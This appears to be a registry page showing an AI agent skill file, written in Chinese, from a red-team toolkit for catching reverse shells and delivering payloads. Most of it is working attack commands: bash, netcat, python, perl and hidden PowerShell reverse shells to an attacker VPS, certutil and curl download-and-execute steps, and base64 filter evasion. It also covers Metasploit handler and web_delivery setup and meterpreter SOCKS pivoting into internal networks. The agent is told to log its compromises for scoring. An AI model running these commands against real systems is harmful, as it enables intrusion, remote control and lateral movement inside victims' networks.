shell-handler
Skill9 starsChanged 22 days agoMITView on GitHub
反弹 Shell 与载荷投递:VPS 上起 MSF/nc/socat 监听接收 shell,或从目标主动拉取载荷落地
- Reads credentials
In this repository22 other files it gives its agents.
- active-scanSkill
- asset-correlationSkill
- browser-automationSkill
- chisel-tunnelSkill
- cn-proxy-poolSkill
- credential-attackSkill
- dir-bruteforceSkill
- fofa-reconSkill
- frp-tunnelSkill
- fscan-intranetSkill
- gogo-intranetSkill
- kimi-webbridgeSkill
- lateral-movementSkill
- nuclei-scanSkill
- passive-reconSkill
- recon-pipelineSkill
- redteam-setupSkill
- suo5-tunnelSkill
- unauth-exploitSkill
- vps-reverse-shellSkill
- web-fingerprintSkill
- webshell-toolkitSkill
The file
Files
反弹 Shell 与载荷投递(拿到回连会话)
先加载 VPS 配置:本技能里所有
$REDTEAM_VPS_HOST/$VPS_USER都来自本机配置, 首次由bash $DSH_HOME/redteam/setup.sh写入$DSH_HOME/.env。每条命令前先 source 一次:set -a; . "$DSH_HOME/.env" 2>/dev/null || . "$HOME/.dsh/.env"; set +a VPS_USER="${REDTEAM_VPS_USER:-ubuntu}"; VPS="$REDTEAM_VPS_HOST"没配过就跑一次
setup.sh(技能redteam-setup),它同时会验证 SSH 连通性与载荷服务。
命令执行 ≠ 会话。一次性的 ?cmd=whoami 只能证明有洞,不能持续操作。本技能负责把"能执行命令"
变成稳定、可交互、可复用的回连会话,并投递后续载荷(马、隧道、扫描器)。
本机基础设施
| 项 | 值 |
| VPS | $REDTEAM_VPS_HOST(SSH 端口 22,私钥 $DSH_HOME/redteam/toolkit/vps/id_rsa) |
| 载荷分发 | http://$REDTEAM_VPS_HOST:9100/(fscan/gogo/冰蝎马/哥斯拉马已同步) |
| 监听端口段 | 9000-9999 |
| 会话管理 | tmux(监听必须跑在 tmux 里,否则断开即丢) |
| 本机工具 | nc、socat、msfconsole 6.5.3(exploit/multi/handler、exploit/multi/script/web_delivery 已验证存在) |
配套技能:vps-reverse-shell(VPS 登录与监听的具体操作)、webshell-toolkit(落地冰蝎/哥斯拉马)。
一、选型:什么时候用哪个
| 场景 | 用法 |
| 临时验证(只想跑一条命令看回显) | nc -lvnp <port> + 目标侧 bash/python 反弹,够用就走 |
| 要长期操作 / 传文件 / 开隧道(主力) | MSF multi/handler(自动重连、可升级 meterpreter、能开 socks) |
| 目标只能出 HTTP(S) | web_delivery(MSF 生成一行命令,目标主动拉 payload) |
| Windows 目标、要稳 | MSF handler + shell_to_meterpreter 升级 |
| 需要把内网流量代理回来 | 拿到 shell 后不是用 shell 代理,而是落地 WebShell → suo5-tunnel(见技能) |
二、MSF handler(推荐主力)
# 1) 在 VPS 的 tmux 里起监听(本机/VPS 都行,看回连方向)
tmux new -s handler
msfconsole -q
msf6 > use exploit/multi/handler
msf6 > set payload linux/x64/meterpreter/reverse_tcp # Windows:windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST $REDTEAM_VPS_HOST
msf6 > set LPORT 9001
msf6 > set ExitOnSession false # 关键:会话断了不退出,继续等重连
msf6 > exploit -j # 后台监听起监听前先确认端口没被占:ss -lntp | grep 9001;VPS 安全组要放行该端口。
一次性投递 + 收会话的完整链路示例:
# 目标侧(假设有一个命令执行点)
bash -c 'bash -i >& /dev/tcp/$REDTEAM_VPS_HOST/9001 0>&1'
# 无 bash 时用别的(见下表)三、各语言反弹一句话(按目标环境选)
# Linux - bash
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
# Linux - 无 bash(sh + nc)
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc <IP> <PORT> > /tmp/f
# Linux - python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<IP>",<PORT>));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh","-i"])'
# Linux - perl
perl -e 'use Socket;$i="<IP>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
# Windows - powershell(注意转义与执行策略)
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('<IP>',<PORT>);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length)}"
# Windows - certutil 下载载荷后执行
certutil -urlcache -split -f http://$REDTEAM_VPS_HOST:9100/fscan.exe C:\Windows\Temp\f.exe && C:\Windows\Temp\f.exe -h 10.0.0.0/24
# Linux - curl/wget 下载载荷
curl -s http://$REDTEAM_VPS_HOST:9100/gogo -o /tmp/gogo && chmod +x /tmp/gogo && /tmp/gogo -i 10.0.0.0/24 -m ss编码绕过:命令里有空格/引号被拦时,base64 编码后解:
# 生成(本机)
echo -n 'bash -i >& /dev/tcp/$REDTEAM_VPS_HOST/9001 0>&1' | base64 -w0
# 目标执行
echo <BASE64> | base64 -d | bash四、MSF web_delivery(只能出 HTTP 时)
msf6 > use exploit/multi/script/web_delivery
msf6 > set target 7 # 7 = Linux Python(先 show targets 看列表)
msf6 > set payload python/meterpreter/reverse_tcp
msf6 > set LHOST $REDTEAM_VPS_HOST
msf6 > set LPORT 9002
msf6 > exploit -j
# MSF 会输出一行命令(形如 python -c "import urllib.request;..."),
# 把它投到目标的命令执行点 → 目标主动拉 payload → 会话建立五、升级与维持
# shell 升级为 meterpreter(能开 socks、传文件、提权)
msf6 > sessions -l
msf6 > sessions -u <id> # 或者用 post/multi/manage/shell_to_meterpreter
# 通过 meterpreter 开内网 socks 代理
meterpreter > run autoroute -s 10.0.0.0/24
meterpreter > background
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > set VERSION 5
msf6 > exploit -j
# 之后 proxychains 指向 127.0.0.1:1080 即可进内网⚠️ 记分口径:只有自己 VPS 上的代理不算隧道。通过 meterpreter autoroute 打到的内网目标属于
entry_kind=target-agent(经目标已控进程转发),登记redteam_tunnel_add时必须说清目标侧那一端。
六、纪律(必须遵守)
- 监听必须跑在 tmux 里:SSH 断线会杀掉监听,会话就丢了。
tmux new -s handler/tmux a -t handler。 - 端口先探测占用,VPS 安全组放行;一台机器同时别开太多监听(9000-9999 段内按序用)。
- 反弹 shell 是"目标主动外连":目标出网受限时先试 HTTP(S) 出网(80/443/8080),
完全不出网就只能走 WebShell + 隧道(
suo5-tunnel)。 - 不要在生产系统跑会重启服务的载荷;提权/内核漏洞类操作先评估重启风险。
- 会话要登记:拿到 shell 立刻
redteam_session_check后面能用;隧道登记见redteam_tunnel_add。
七、输出与落库(强制)
- 拿到回连会话立刻记分:
redteam_score_hit(server-host/server-host),evidence写「资产|shell 类型与权限」(如10.0.0.5|root shell(uid=0))。 - 会话落库:
redteam_access_add(method=reverse-shell,写清target、user、privilege、监听地址与端口)。 - 隧道落库(若通过它进了内网):
redteam_tunnel_add,entry_kind必须说清目标侧那一端 (target-outbound=目标反弹/目标跑 frp 客户端、target-http=经目标 WebShell 的 suo5、target-agent=经目标已控进程转发), 然后redteam_session_check实测连通性。 - 每个关键动作
redteam_chain_add:stage_code=internet(互联网侧拿权限)/boundary(搭隧道)/internal,tool写实际命令原文(含完整反弹命令或 MSF 配置),result写回显摘要(如uid=0(root) gid=0(root))。 - 交付给用户能复用的入口:优先落地冰蝎马/哥斯拉马(技能
webshell-toolkit)——用户能在控制台直连操作; 临时反弹会话要说明"这是一次性会话,非交付入口"。
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

